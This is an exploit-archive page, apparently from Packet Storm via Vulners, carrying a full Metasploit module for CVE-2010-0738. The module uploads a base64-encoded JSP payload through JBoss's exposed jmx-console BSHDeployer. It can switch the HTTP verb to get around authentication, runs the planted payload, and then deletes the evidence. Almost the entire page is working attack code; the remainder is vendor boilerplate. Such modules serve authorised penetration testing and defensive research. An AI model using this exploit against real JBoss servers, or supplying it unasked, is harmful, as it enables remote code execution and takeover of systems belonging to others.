Lucene search
K

JBoss JMX Console Beanshell Deployer WAR Upload And Deployment

🗓️ 24 Jun 2010 00:00:00Reported by Patrick HofType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 71 Views

JBoss JMX Console Beanshell Deployer WAR Upload And Deploymen

Related
Code
`##  
# $Id: jboss_bshdeployer.rb 9596 2010-06-23 22:25:03Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',  
'Description' => %q{  
This module can be used to install a WAR file payload on JBoss servers that have  
an exposed "jmx-console" application. The payload is put on the server by  
using the jboss.system:BSHDeployer's createScriptDeployment() method.  
},  
'Author' => [ 'Patrick Hof', 'jduck' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision: 9596 $',  
'References' =>  
[  
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST  
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]  
],  
'Privileged' => true,  
'Platform' => [ 'windows', 'linux' ],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
[ 'Universal',  
{  
'Arch' => ARCH_JAVA,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
}  
],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),  
OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]),  
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),  
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),  
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),  
OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),  
], self.class)  
end  
  
  
def exploit  
datastore['BasicAuthUser'] = datastore['USERNAME']  
datastore['BasicAuthPass'] = datastore['PASSWORD']  
  
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))  
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))  
  
verb = datastore['VERB']  
if (verb != 'GET' and verb != 'POST')  
verb = 'HEAD'  
end  
  
p = payload  
if datastore['SHELL'] == 'automatic'  
if not (plat = detect_platform())  
raise RuntimeError, 'Unable to detect platform!'  
end  
  
case plat  
when 'linux'  
datastore['SHELL'] = '/bin/sh'  
when 'win'  
datastore['SHELL'] = 'cmd.exe'  
end  
  
print_status("SHELL set to #{datastore['SHELL']}")  
  
# Payload generation already happened, therefore SHELL will  
# already be 'automatic' in the payload regardless of what we set above.  
# To fix this, we regenerate the payload now..  
return if ((p = regenerate_payload(platform, target_arch)) == nil)  
end  
  
# The following Beanshell script will write the exploded WAR file to the deploy/  
# directory  
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')  
bsh_script = <<-EOT  
import java.io.FileOutputStream;  
import sun.misc.BASE64Decoder;  
  
String val = "#{encoded_payload}";  
  
BASE64Decoder decoder = new BASE64Decoder();  
String jboss_home = System.getProperty("jboss.server.home.dir");  
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();  
byte[] byteval = decoder.decodeBuffer(val);  
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";  
FileOutputStream fstream = new FileOutputStream(jsp_file);  
fstream.write(byteval);  
fstream.close();  
EOT  
  
#  
# UPLOAD  
#  
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")  
res = invoke_bshscript(bsh_script, verb)  
if !res  
raise RuntimeError, "Unable to deploy WAR [No Response]"  
end  
if (res.code < 200 || res.code >= 300)  
case res.code  
when 401  
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")  
end  
raise RuntimeError, "Upload to deploy WAR [#{res.code} #{res.message}]"  
end  
  
#  
# EXECUTE  
#  
uri = '/' + app_base + '/' + jsp_name + '.jsp'  
print_status("Executing #{uri}...")  
  
# JBoss might need some time for the deployment. Try 5 times at most and  
# wait 3 seconds inbetween tries  
num_attempts = 5  
num_attempts.times { |attempt|  
res = send_request_cgi({  
'uri' => uri,  
'method' => verb  
}, 20)  
  
msg = nil  
if (! res)  
msg = "Execution failed on #{uri} [No Response]"  
elsif (res.code < 200 or res.code >= 300)  
msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"  
elsif (res.code == 200)  
print_good("Successfully triggered payload at '#{uri}'")  
break  
end  
  
if (attempt < num_attempts - 1)  
msg << ", retrying in 3 seconds..."  
print_error(msg)  
  
select(nil, nil, nil, 3)  
else  
print_error(msg)  
end  
}  
  
#  
# DELETE  
#  
# The WAR can only be removed by physically deleting it, otherwise it  
# will get redeployed after a server restart.  
bsh_script = <<-EOT  
String jboss_home = System.getProperty("jboss.server.home.dir");  
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();  
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();  
EOT  
  
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")  
res = invoke_bshscript(bsh_script, verb)  
if !res  
print_error("WARNING: Unable to remove WAR [No Response]")  
end  
if (res.code < 200 || res.code >= 300)  
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")  
end  
  
handler  
end  
  
# Try to autodetect the target platform  
def detect_platform()  
print_status("Attempting to automatically detect the platform...")  
  
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'  
res = send_request_raw(  
{  
'uri' => path  
}, 20)  
  
if (not res) or (res.code != 200)  
print_error("Failed: Error requesting #{path}")  
return nil  
end  
  
if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)  
os = $1  
if (os =~ /Linux/i)  
return 'linux'  
elsif (os =~ /Windows/i)  
return 'win'  
end  
end  
nil  
end  
  
  
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer  
def invoke_bshscript(bsh_script, verb)  
params = 'action=invokeOpByName'  
params << '&name=jboss.deployer:service=BSHDeployer'  
params << '&methodName=createScriptDeployment'  
params << '&argType=java.lang.String'  
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)  
params << '&argType=java.lang.String'  
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'  
  
if (verb == "POST")  
res = send_request_cgi({  
'method' => verb,  
'uri' => datastore['PATH'] + '/HtmlAdaptor',  
'data' => params  
})  
else  
res = send_request_cgi({  
'method' => verb,  
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + params  
})  
end  
res  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation